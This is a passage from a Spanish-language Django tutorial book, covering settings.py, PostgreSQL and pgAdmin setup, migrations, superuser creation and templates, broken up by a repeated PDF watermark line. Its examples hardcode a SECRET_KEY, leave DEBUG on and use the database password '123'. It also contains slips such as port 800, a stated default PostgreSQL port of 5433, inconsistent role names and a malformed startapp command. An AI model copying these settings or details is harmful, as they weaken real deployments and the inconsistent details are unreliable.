SECRET_KEY = 'ntb=j+4w#u2krl!rj*a=%u-mo&04%d&58-djg68!sp2p8u29ei'
Llave secreta del proyecto
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
DEBUG = True
```

Es la variable para entrar en un estado de depuración, permite mostrar los errores

```
ALLOWED_HOSTS = []
```

Host Permitido, mientras el DEBUG este en True esta variable puede permanecer vacía, cuando DEBUG cambie a False debes agregar un host

```
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
]
```

Definición de las aplicaciones de terceros a utilizar dentro de nuestro proyecto.

```
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
```

Para activar un componente de middleware, agréguelo a la MIDDLEWARE.

```
ROOT_URLCONF = 'proyecto1.urls'
```

Una cadena que representa la ruta raíz. Por ejemplo:
proyecto1.urls

```
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
    },
]
```

Manejador de templates, actualmente en la versión 2.0 podemos utilizar 2 motores de templates, los de django y jinja.
django.contrib.auth.context_processors.auth.- autentificación de usuarios
django.template.context_processors.request.- Si este procesador está habilitado, cada RequestContext contendrá una variable request es el actual objeto HttpRequest
django.template.context_processors.debug.- añade información de depuracion
django.contrib.messages.context_processors.messages.-El enterno de mensajes de Django simplifica el envío de mensajes únicos a los usuarios

```
WSGI_APPLICATION =
'webAlimentos.wsgi.application'
```

La ruta completa de Python del objeto de aplicación WSGI que los servidores integrados de Django (por ejemplo runserver)

```
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
    }
}
```

Es la variable que se utiliza para determinar que motor de base de datos vamos a utilizar, por defecto sqlite

```
AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'django.contrib.auth.password_validation.
UserAttributeSimilarityValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.
MinimumLengthValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.
CommonPasswordValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.
NumericPasswordValidator',
    },
]
```

La lista de validadores que se utilizan para comprobar la solidez de las contraseñas del usuario.

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
```

Son las variables para cambiar:

- **Idioma**
- **zona horaria**
- **traducción**
- **habilitar fechas y números según la configuración regional**
- **utilizará las fechas internas de la zona horaria**

```
STATIC_URL = '/static/'
```

URL a utilizar cuando se refiere a archivos estáticos ubicados en STATIC_ROOT

2.1.17 Verificar que el proyecto esté funcionando

En la terminal debemos escribir:

```
python manage.py runserver
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Vaya al http: //127.0.0.1:800/ en su navegador:

2.1.18 Mi Primera Ejecución en Pycharm

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1. nombre del nuevo ejecutador de phyton
2. script nombre del archivo principal del proyecto
3. script parameters es el comando de Django para ejecutar el servidor
4. interpretador de phyton a usar
5. ruta de proyecto (webAlimentos)
6. applycamos
7. ok, para crear el nuevo ejecutador

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Luego ejecutamos el proyecto:

Presione en la siguiente URL http: //127.0.0.1:800/:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

2.1.19 Instalación de PostgreSQL en Windows

1. Ingrese a la siguiente URL para descargar:

   https://www.enterprisedb.com/downloads/postgres-postgresql-downloads#windows

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Espere que culmine la descarga:

Comience la instalación presionando doble clic sobre el siguiente archivo:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Se iniciará el asistente para instalar PostgreSQL 9 en Windows 8, pulsaremos "Siguiente":

Indicaremos a continuación la unidad y carpeta donde se guardarán los datos de las bases de datos del servidor PostgreSQL:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Seleccionamos todos los componentes y presionamos siguiente:

Indicaremos un directorio donde almacenaremos sus datos, presionamos siguiente:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

la contraseña para el super usuario "postgres" (usuario que creará automáticamente el asistente y con el que podremos administrar posteriormente el servidor PostgreSQL:

el puerto que se usará para las conexiones externas al servidor de base de datos PostgreSQL (desde otros equipos de la LAN o desde equipos externos mediante Internet). El puerto por defecto para PostgreSQL es 5433:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Indicaremos la configuración regional de idioma para la base de datos, en nuestro caso dejaremos “Configuración Regional por defecto”:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Tras seleccionar todas las opciones de instalación para nuestro servidor de base de datos PostgreSQL, pulsaremos “Siguiente”:

Comenzamos la instalación:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Tras la instalación el asistente nos da la posibilidad de ejecutar Stack Builder que es una utilidad para instalar herramientas y paquetes adicionales para PostgreSQL:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Después de instalar PostgreSQL nos pide añadir Stack Builder, que es el instalador disponible de PostgreSQL-PostGIS para Windows. Lanza la instalación de este programa que lleva incorporado una serie de paquetes de instalación, entre los que se encuentran unos paquetes simples de PostGIS.

Continuamos la instalación.

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Seleccionamos los componentes a instalar:

Continuamos con la instalación:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

pulsaremos “Siguiente”:

pulsaremos “Siguiente”:

pulsaremos “Siguiente”:

pulsaremos “Siguiente”:

pulsaremos “Siguiente”:

pulsaremos “Finish”:

pulsaremos “Siguiente”:

pulsaremos “Siguiente”:

pulsaremos “Siguiente”:

pulsaremos “Siguiente”:

pulsaremos “Finish”:

Instalando psqlODBC:

Yo acepto los términos:

pulsaremos “Siguiente”:

pulsaremos “Siguiente”:

Instalando:

Confirmar: “SÍ”:

Confirmar: “SÍ”:

Confirmar: “SÍ”.

pulsaremos “Close”:

pulsaremos “Finish”:

2.1.20 pgAdmin

Para la administración de la Base de Datos PostgreSQL, la herramienta a utilizar es pgAdmin 4 mediante su interfaz grafica. El programa pgAdmin 4 se instala dentro del programa instalador principal de PostgreSQL. Para iniciar pgAdmin 4, puede elegir Inicio PostgreSQL 10 | pgAdmin 4.

pgAdmin 4 está configurado para conectarse a un servidor PostgreSQL que se ejecuta en el sistema local (que utiliza el nombre de host localhost IP especial) y utiliza el puerto TCP PostgreSQL predeterminado de 5432. También puede usar pgAdmin 4 para conectarse a PostgreSQL remoto servidores.

A continuación, Iniciamos PostgreSQL:

A continuación, mostramos la ventana principal de PgAdmin 4:

Utilice el cuadro de diálogo Conectar al servidor para autenticarse con un servidor definido y acceder a los objetos almacenados en el servidor a través del control de árbol pgAdmin. Para acceder al cuadro de diálogo, haga clic con el botón derecho en el nombre del servidor en el control de árbol de pgAdmin y seleccione Conectar servidor ... desde el menú contextual.

Proporcione información de autenticación para el servidor seleccionado:

- Use el campo Contraseña para proporcionar la contraseña del usuario que está asociado con el servidor definido.
- Marque la casilla al lado de Guardar contraseña para indicar al servidor que guarde la contraseña para conexiones futuras; si guarda la contraseña, no se le preguntará cuando vuelva a conectarse al servidor de la base de datos con esta definición de servidor.

Obtendremos lo siguientes:

2.1.21 Componentes

Hay componentes básicos que componen el servidor PostgreSQL:

- Databases. - Las bases de datos son los objetos centrales en PostgreSQL.
- Tablespaces. - Los Tablespaces son ubicaciones físicas donde se almacenan los objetos. Los objetos pueden ser cualquier cosa desde tablas de base de datos, índices, funciones y disparadores. existe dos valores predeterminados de Tablespaces dentro del área del clúster de la base de datos:

  pg_default

  W pg_global

- Login/Group Roles.- Los Login de inicio de sesión son roles que pueden iniciar sesión en el servidor de PostgreSQL y Group Roles se utilizan para crear permisos de acceso para grupos de usuarios.

2.1.22 Creación de nueva base de datos

Ahora procederemos a crear la **BdAlimentos** la cual contendrá nuestra información, así como la seguridad que brinda el framework Django.

Para este fin vamos a usar el gestor de postgresql, primero crearemos el usuario **djangoAdmind** con el cual podremos manipular todas las bases de datos de Django que sean creadas en este gestor y posteriormente la base de datos se llamará **BdAlimentos**:

Creamos el usuario djangoAdmind.- Use los campos en la pestaña General para identificar el rol.

- Use el campo Nombre para proporcionar el nombre del rol. El nombre se mostrará en el control de árbol.
- Proporcione una nota sobre el rol en el campo Comentarios.

Haga clic en la pestaña Definición para continuar.

Utilice la pestaña Definición para establecer una contraseña y configurar las reglas de conexión:

- Proporcione una contraseña que se asociará con el rol en el campo *Contraseña.*
- Proporcione una fecha de vencimiento para la contraseña en el campo *Vencimiento de* la *cuenta* (la función no caduca). La fecha de caducidad no se aplica cuando un usuario inicia sesión con un método de autenticación sin contraseña.

- Si el rol es un rol de inicio de sesión, especifique cuántas conexiones simultáneas puede realizar el rol en el campo *Límite de conexión*. El valor predeterminado (*-1*) permite conexiones ilimitadas.

Haga clic en la pestaña Privilegios para continuar.

Use la pestaña Privilegios para otorgar privilegios a la función.

- Mover el *inicio de sesión ¿Puede?* cambie a la posición *Sí* si la función tiene privilegios de inicio de sesión. El valor por defecto es *no*.
- Mueva el interruptor *Supe usuario* a la posición *Sí* si la función es un supe usuario dentro de la base de datos. El valor por defecto es *no*.
- ¿Mueva los roles Crear? cambie a la posición *Sí* para especificar si un rol tiene permiso para crear roles. Un rol con este privilegio puede alterar y soltar roles. El valor por defecto es *no*.

- Mueva el interruptor *Crear bases de datos* a la posición *Sí* para controlar si un rol puede crear bases de datos. El valor por defecto es *no*.
- ¿El catálogo de actualización? El interruptor está deshabilitado hasta que la función tenga privilegios de supe usuario. ¿Mover los catálogos de actualización? cambie a la posición *No* para controlar si un rol puede actualizar catálogos. El valor predeterminado es *Sí* cuando el interruptor del *Supe usuario* está en la posición *Sí*.
- ¿Mover los *derechos de Heredar de los roles principales?* Cambie a la posición *No* si una función no hereda los privilegios. El valor predeterminado es *Sí*.
- Mover *¿Puede iniciar la replicación de transmisión y las copias de seguridad?* cambie a la posición *Sí* para controlar si un rol puede iniciar la replicación de transmisión o poner el sistema dentro y fuera del modo de copia de seguridad. El valor por defecto es *no*.

Observamos el usuario creado:

Ahora procedemos a crear la base de datos:

El cuadro de diálogo de la base de datos organiza el desarrollo de una base de datos a través de las siguientes pestañas de diálogo: General, Definición, Seguridad y Parámetros.

La pestaña SQL muestra el código SQL generado por las selecciones de diálogo.

Esta base solo contendrá el esquema (schema) público por ser de tipo ejemplar:

Dar privilegios al usuario:

2.1.23 Abrir proyecto en pyCharm

Presionar el botón Open.

Seleccionar el proyecto y luego Presionar el botón Ok.

Ahora obtenemos lo siguiente:

2.1.24 Instalando plugins de Django

Editamos la configuración:

Selecciones TabFolder y Presione clic e n Install.

Escriba Django y luego haga clic en Search in repositories.

Selecciones TabFolder y haga clic e n Install.

Haga clic en Restart PyCharm Community Edition.

Haga clic en Restart.

2.1.25 Definiendo el intérprete

Seleccionamos Project Interpreter.

2.1.26 Configuración para la ejecución

Presionamos +:

Selecciones Python:

2.1.27 Ejecutando el proyecto

Presione clic en la URL: *http://127.0.0.1:8000/*

Ahora ingresamos a la URL y obtenemos lo siguiente:

```
Django version 1.11.4, using settings 'proyecto.settings'
Starting development server at http://127.0.0.1:8000/
Quit the server with CTRL-BREAK.
[06/Aug/2017 19:46:10] "GET / HTTP/1.1" 200 1716
Not Found: /favicon.ico
[06/Aug/2017 19:46:10] "GET /favicon.ico HTTP/1.1" 404 1964
```

NOTAS

Nos indica que no encuentra un icono llamado favicon.ico.

2.1.28 Instalando el paquete PSYCOPG

Ahora debemos instalar el paquete PSYCOPG para que Django pueda conectarse con PostgreSQL para ello editamos la configuración:

Seleccione Intérprete:

Instalación de psycopg2:

NOTAS

Psycopg es el conector de base de datos PostgreSQL más popular para el lenguaje de programación Python.

2.1.29 Conexión con la base de datos

Ahora abrimos nuestro archivo settings para configurar la base de datos:

Primero importamos la librería psycopg2 en settings.py:

```
"""
Django settings for proyecto1 project.

Generated by 'django-admin startproject' using Django 2.0.3.

For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/

For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/settings/
"""

import os

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
```

Importamos la librería psycopg2:

```
"""
Django settings for proyecto1 project.

Generated by 'django-admin startproject' using Django 2.0.3

For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/

For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/settings/
"""

import os
import psycopg2
```

A continuación, mostramos la configuración para la conexión a nuestra base de datos alimentos:

```
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'BDalimentos',
        'USER': 'djangoAdmind',
        'PASSWORD': '123',
        'HOST': 'localhost',
        'PORT': '5432',
    }
}
```

Explicación:

```
'NAME': 'alimentos',
```

Nombre de la Base de Datos

```
'USER': 'postgres',
```

Usuario

```
'PASSWORD': '123',
```

Contraseña

```
'HOST': 'localhost',
```

Servidor Local

```
'PORT': '5432',
```

Puerto

2.1.30 Creación de las tablas

2.1.30.1 MIGRACIONES

Las migraciones es la manera como Django aplica los cambios que hace a sus modelos (agregando un campo, eliminando un modelo, etc.) en su esquema de base de datos.

2.1.30.2 COMANDOS

Hay varios comandos que usará para interactuar con las migraciones y el manejo de Django del esquema de la base de datos:

- **migrate**.- Que es responsable de aplicar y dejar de aplicar las migraciones.
- **makemigrations**.- Que es responsable de crear nuevas migraciones basadas en los cambios que ha realizado en sus modelos.
- **sqlmigrate**.- Que muestra las declaraciones de SQL para una migración.
- **showmigrations**.- Que enumera las migraciones de un proyecto y su estado.

Debería pensar en las migraciones como un sistema de control de versiones para su esquema de base de datos. makemigrationses es el responsable de empaquetar los cambios de su modelo en archivos de migración individuales, análogos a los commits, y migrate es responsable de aplicarlos a su base de datos.

Ahora vamos al terminal del ide y escribimos lo siguiente: *python manage.py migrate*, lo que crea las tablas que brindarán a Django seguridad.

```
python manage.py migrate
```

```
Símbolo del sistema
Microsoft Windows [Versión 10.0.16299.309]
(c) 2017 Microsoft Corporation. Todos los derechos reservados.

C:\Users\nolasco>cd proyecto1

C:\Users\nolasco\proyecto1>python manage.py migrate
Operations to perform:
  Apply all migrations: admin, auth, contenttypes, sessions
Running migrations:
  Applying contenttypes.0001_initial... OK
  Applying auth.0001_initial... OK
  Applying admin.0001_initial... OK
  Applying admin.0002_logentry_remove_auto_add... OK
  Applying contenttypes.0002_remove_content_type_name... OK
  Applying auth.0002_alter_permission_name_max_length... OK
  Applying auth.0003_alter_user_email_max_length... OK
  Applying auth.0004_alter_user_username_opts... OK
  Applying auth.0005_alter_user_last_login_null... OK
  Applying auth.0006_require_contenttypes_0002... OK
  Applying auth.0007_alter_validators_add_error_messages... OK
  Applying auth.0008_alter_user_username_max_length... OK
  Applying auth.0009_alter_user_last_name_max_length... OK
  Applying sessions.0001_initial... OK
```

NOTAS

Las migraciones son la forma de Django de propagar los cambios que realice en sus modelos : añadir un campo, eliminar un modelo, etc.

Ahora observamos que se crearon 10 tablas, ahora solo falta crear un usuario para poder entrar a la parte administrativa del sistema web de alimentos.

2.1.31 Crear SuperUsuario de administración

Ahora solo falta crear un usuario para poder entrar a la parte administrativa del sistema proyecto1.

Escribimos lo siguiente:

```
python manage.py createsuperuser
```

Introduzca su nombre de usuario deseado y pulse Enter.

```
Username: super1
```

A continuación, se le solicitará su dirección de correo electrónico deseada:

```
Email address: super1@hotmail.com
```

El paso final es introducir su contraseña. Se le pedirá que introduzca su contraseña dos veces, la segunda vez como confirmación de la primera.

```
Password: **********
Password (again): *********
Superuser created successfully.
```

Ahora ingresamos al panel de administración a través de la URL: http://127.0.0.1:8000/admin/

Ahora Ingresamos las credenciales:

ⓘ NOTAS

Usted estará utilizando la interfaz de administración podrá verificar que los datos se almacenan correctamente.

Ya tenemos acceso al panel de control:

ⓘ NOTAS

Se visualiza que existen dos tipos opciones una de grupos y otras de usuarios. En la de los grupos se define los grupos del sistema y autorizaciones, así como que pueden visualizar en el proyecto .En la de usuarios crea a estos define a cuales grupos puede pertenecer.

2.1.32 Creamos una secuencia

El diálogo Secuencia organiza el desarrollo de una secuencia a través de las siguientes pestañas de diálogo: General, Definición y Seguridad.

Pestaña definición

- **Seqname**.- El nombre de una secuencia que será creada.
- **increment**.- La propiedad INCREMENT increment es opcional. Un valor positivo hará una secuencia ascendente, uno negativo hará una secuencia descendente. El valor por omisión es uno (1).
- **Minvalue**.- La propiedad opcional MINVALUE minvalue determina el valor mínimo que una secuencia puede generar. El valor por omisión es 1 y -2147483647 para secuencias ascendentes y descendentes, respectivamente.
- **Maxvalue**.- Utilice la propiedad opcional MAXVALUE maxvalue para determinar el valor máximo para una secuencia. Por omisión son 2147483647 y -1 para secuencias ascendentes y descendentes, respectivamente.
- **Start**.- La propiedad opcional START start habilita la secuencia para que comience en cualquier lugar. El valor de inicio por omisión es minvalue para secuencias ascendentes y maxvalue para las descendentes.

- **Cache**.- La opción CACHE permite que los números de la secuencia sean alojados (preallocated) y almacenados en memoria para un acceso más rápido. El valor mínimo es 1 (solo se puede generar un valor cada vez, i.e. sin cache) y es también el valor por omisión.

- **Cycle**.- La palabra clave (keyword) CYCLE puede ser utilizada para permitir a la secuencia continuar cuando el valor de maxvalue o el de minvalue ha sido alcanzado por una secuencia ascendente o descendente respectivamente. Si el límite es alcanzado, el siguiente número generado será cualquiera que para minvalue o maxvalue sea tomado como apropiado.

Agregando el secuenciador producto_seq a la tabla productos en el campo id, se escribe el siguiente comando en el valor por defecto: **nextval('seqprueba'::regclass)**

2.1.33 Creación de las tablas

Vamos a crear una tabla denominada artículo:

El diálogo Tabla organiza el desarrollo de una tabla a través de las siguientes pestañas de diálogo: General, Columnas, Restricciones, Avanzado, Parámetro y Seguridad.

La pestaña SQL muestra el código SQL generado por las selecciones de diálogo.

- Use el campo Nombre para agregar un nombre descriptivo para la columna.
- Use el cuadro de lista desplegable en el campo Tipo de datos para seleccionar un tipo de datos para la columna. Esto puede incluir especificadores de matriz. Para obtener más información sobre los tipos de datos admitidos por PostgreSQL, consulte el Capítulo 8 de la documentación principal.
- Si está habilitado, use los campos Longitud y Precisión para especificar la cantidad máxima de dígitos significativos en un valor numérico o la cantidad máxima de caracteres en un valor de texto.
- ¿Mueve el Not NULL? cambie a la posición Sí para requerir un valor en el campo de la columna.
- ¿Mueve la tecla principal? cambie a la posición Sí para especificar que la columna es la restricción de la clave primaria.

Haga clic en el ícono Agregar (+) para agregar columnas adicionales; para descartar una columna, haga clic en el icono de papelera a la izquierda de la fila y confirme la eliminación en la ventana emergente Eliminar fila. Haga clic en la pestaña Restricciones para continuar.

productos
General
Columns
Constraints
Advanced
Parameter
Security
SQL
Inherited from table(s)
Select to inherit from...
Columns
Name
Data type
Length
Precision
Not NULL?
Primary key?
Save
Cancel
Reset

productos
General
Columns
Constraints
Advanced
Parameter
Security
SQL
Inherited from table(s)
Select to inherit from...
Columns
Name
Data type
Length
Precision
Not NULL?
Primary key?
id
bigint
No
Yes
nombre
character varying
150
No
Yes
descripcion
character varying
500
No
Yes
Save
Cancel
Reset

Create - Table
General
Columns
Constraints
Advanced
Partition
Parameter
Security
SQL
Inherited from table(s)
Select to inherit from...
Columns
Name
Data type
Length
Precision
Not NULL?
Primary key?
id
bigint
Yes
Yes
nombre
character varying
150
Yes
No
descripcion
character varying
500
Yes
No
Save
Cancel
Reset

productos
General
Columns
Constraints
Advanced
Parameter
Security
SQL
Columns
Name
Data type
Length
Precision
Not NULL?
Primary key?
id
bigint
Yes
Yes
General
Definition
Variables
Security
Data type
bigint
Length
Precision
Collation
Default Value
nextval('producto_seq'::regclass)
Not NULL?
Yes
Statistics
-1
Storage
PLAIN
nombre
character varying
150
Yes
Yes
Save
Cancel
Reset

2.1.34 Script de la tabla productos

```
CREATE TABLE public.productos
(
    id bigint NOT NULL DEFAULT nextval('producto_seq'::regclass),
    nombre character varying(150) COLLATE pg_catalog."default" NOT NULL,
    descripcion character varying(500) COLLATE pg_catalog."default",
    CONSTRAINT productos_pkey PRIMARY KEY (id, nombre)
)
WITH (
    OIDS = FALSE
)
TABLESPACE pg_default;
ALTER TABLE public.productos
    OWNER to "djangoAdmin";
GRANT ALL ON TABLE public.productos TO "djangoAdmin";
```

2.1.35 Estructura recomendada

A la estructura que mostramos anteriormente vamos añadir algunas carpetas que nos ayudarán a llevar un mejor control de proyecto:

- Apps. - las aplicaciones propias del proyecto.
- Media.- Contendrá los archivos subidos por el usuario.
- Static.- Contendrá js, css e imágenes.
- Templates.- Contendrá las plantillas del proyecto.

2.1.36 Creación de nuestra primera Aplicación

Un proyecto Django es una agrupación de aplicaciones (Apps) que en conjunto forman una Web.

La idea es desarrollar una serie de pequeñas aplicaciones, para ello es necesario crear aplicaciones con funcionalidades particulares.

Por ejemplo, en nuestro caso deseamos crear una app que nos ayude a controlar el almacén de una organización específica.

Dentro de la carpeta Apps vamos a crear nuestra primera app, para ellos emitimos el siguiente comando dentro de la carpeta principal proyecto:

```
Python manage.py startapp cd apps\almacen
```

Ahora observamos la estructura del proyecto.

2.1.37 Estructura de La App: almacén

- **__init__.py.-** Indica a Python que considere una carpeta como un módulo o también llamado paquete.
- **admin.py.-** Se realizan todos los cambios en la administración.
- **apps.py.-** Proporciona un lugar para cualquier configuración específica de la aplicación.
- **models.py**.- Es donde tendremos que crear todos nuestros modelos referidos a nuestra app.

- **tests.py**.- Es el archivo donde tendremos que hacer nuestras pruebas unitarias.
- **view.py.-** Todas nuestras vistas referidas a la app.

2.1.38 Configuración de las Apps

Por último, es necesario indicarle a Django de la existencia de la app almacén. Para ello configuramos nuestras apps reconocidas por el sistema en el archivo settings propiedad INSTALLED_APPS:

INSTALLED_APPS. Verás una serie de aplicaciones ya definidas en INSTALLED_APPS. Ahora es necesario especificar su aplicación:

```
# Application definition
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'apps.almacen',
]
```

2.1.39 Modificando la vista: views.py y luego mapear la URL

2.1.40 Modificando views.py

En nuestra app almacen, vamos a crear una vista sencilla. Vamos a retornar una cadena al cliente:

views.py

```
from django.shortcuts import render
# Create your views here.
from django.http import HttpResponse
def index(request):
    return HttpResponse("Index Almacen")
```

ⓘ NOTAS

El objeto HttpResponse es utilizado para retornar el contenido de la página solicitada levantar una excepción como Http404 .

2.1.41 Modificando la urls.py del proyecto1 para indicar la vista

En lugar de asignar directamente las URL desde el proyecto a la App, podemos hacer que nuestra app Sea más reutilizable al cambiar la forma que llamamos a la vista:

Urls.py

```
from django.conf.urls import url
from django.contrib import admin
from apps.almacen import views
urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^$', views.index, name='index'),
]
```

Ahora ingresamos al panel de administración a través de la URL: http://127.0.0.1:8000/admin/

2.1.42 Mejorando la vista

views.py

```
import datetime
from django.shortcuts import render
# Create your views here.
from django.http import HttpResponse
def index(request):
    now = datetime.datetime.now()
    html = "<html><body>Fecha y Hora :%s.</body></html>" % now
    return HttpResponse(html)
```

Ahora ingresamos al panel de administración a través de la URL: http://127.0.0.1:8000/admin/

2.1.43 Lenguaje de plantilla de Django

El lenguaje de plantillas de Django está diseñado para lograr un equilibrio entre poder y facilidad. Está diseñado para enlazar con gente que este acostumbrado a trabajar con HTML.

2.1.43.1 PLANTILLAS

Una plantilla es simplemente un archivo de texto. Puede generar cualquier formato basado en texto (HTML, XML, CSV, etc.).

Una plantilla contiene **variables**, que se reemplazan con valores cuando se evalúa la plantilla, y **etiquetas**, que controlan la lógica de la plantilla.

A continuación se muestra un ejemplo:

```
{% extends “base_generic.html” %}
{% block title %}{{ section.title }}{% endblock %}
{% block content %}
<h1>{{ section.title }}</h1>
{% for story in story_list %}
<h2>
  <a href=”{{ story.get_absolute_url }}”>
    {{ story.headline|upper }}
  </a>
</h2>
<p>{{ story.tease|truncatewords:”100” }}</p>
{% endfor %}
{% endblock %}
```

2.1.43.2 VARIABLES

Las variables tienen el siguiente aspecto: Cuando el motor de plantilla encuentra una variable, evalúa esa variable y la reemplaza con el resultado. Los nombres de las variables consisten en cualquier combinación de caracteres alfanuméricos y el guión bajo ( ). El punto ( ) también aparece en secciones variables, aunque tiene un significado especial, como se indica a continuación. Es importante destacar que no puede tener espacios o caracteres de puntuación en los nombres de las variables. {{ variable }}”_””.”

Use un punto (.) para acceder a los atributos de una variable. A continuación mostramos un ejemplo:

```
Nombre : {{ nombres}}. Apellidos : {{ apellido }}.
```

2.1.43.3 FILTROS

Puede modificar variables para visualizarlas usando **filtros**.

Los filtros se parecen a esto:

```
{{ name|lower }}
```

Los filtros se pueden encadenarse:

```
{{ text|escape|linebreaks }}
```

Por ejemplo, mostrar los 30 primeros caracteres de ka variable bio:

```
{{ bio|truncatewords:30 }}
```

2.1.43.4 VALORES POR DEFECTOS

Si una variable posee el valor false o está vacía, use los valores predeterminados dados:

```
{{ value|default:"nothing" }}
```

2.1.43.5 ETIQUETAS

Son aquellas que crean texto en la salida, algunas controlan el flujo realizando bucles o lógica, y otras cargan información externa en la plantilla para ser utilizada por variables posteriores.

```
{% tag %}
```

NOTAS

Algunas etiquetas requieren etiquetas de inicio y final:

{% tag %} ... tag contents ... {% endtag %}

2.1.43.6 FOR

Bucle sobre cada elemento en una matriz. Por ejemplo, para mostrar una lista de atletas provista en athlete_list:

```
<ul>
{% for atletas in lista %}
    <li>{{ atletas.name }}</li>
{% endfor %}
</ul>
```

2.1.43.7 IF, ELIF Y ELSE

Evalúa una variable, y si esa variable es "verdadera" se muestran los contenidos del bloque:

```
{% if lista %}
    Numero de atletas: {{ lista|length }}
{% else %}
    No atletas.
{% endif %}
```

2.1.44 Creación de Templates

El diseño de páginas dentro de un sitio web es regularmente el mismo, promueve la organización del sitio web y refuerza su continuidad. Ahora procedemos a crear una plantilla y configurando página de inicio del sitio web. Dentro de la carpeta templates y dentro de esta se crean los archivos base.html e index.html (página inicial).

2.1.45 Añadiendo las Plantillas

Ahora en la misma carpeta el archivo base.html:

base.html

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <link rel="stylesheet" href="style.css"/>
    <title>{%block title%}My amazing site
        {% endblock %}
    </title>
</head>
<body>
<div id="sidebar">
    {%block sidebar %}
    <ul>
        <li><a href="/">Home</a> </li>
    </ul>
```

```
    {% endblock %}
</div>
<div id="content">
    {% block content %}{% endblock %}
</div>
</body>
</html>
```

Ahora crearemos el index.html y colocamos de la carpeta templates:

Index.html

```
{% extends 'base.html' %}
{%block title%}My site{% endblock %}
{% block content %}
 <div class="container">
    Mi sitio inicial
 </div>
{% endblock content %}
```

Observamos la ubicación de las plantillas:

2.1.46 Configuración de la carpeta Template

Configurando la plantilla para que sea reconocida; abrimos el archivo proyecto/proyecto/settings.py buscamos la propiedad TEMPLATES y modificamos:

settings.py

```
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]
```

```
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(BASE_DIR, 'templates')],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]
```

2.1.47 Modificando la urls.py del proyecto1 para indicar el Template

En lugar de asignar directamente las URL desde el proyecto a la aplicación, podemos hacer que nuestra aplicación Sea más reutilizable al cambiar la forma que llamamos a los templates:

```
"""proyecto1 URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
#from django.contrib import admin
#from django.urls import path
from django.conf.urls import url
from django.contrib import admin
from apps.almacen import views
#from django.conf.urls import include,url
#from django.contrib import admin
#from django.views.generic import TemplateView
app_name="almacen"
from django.conf.urls import include,url
from django.contrib import admin
from django.views.generic import TemplateView
urlpatterns = [
    url(r'^$', TemplateView.as_view(template_name='index.html'), name='index'),
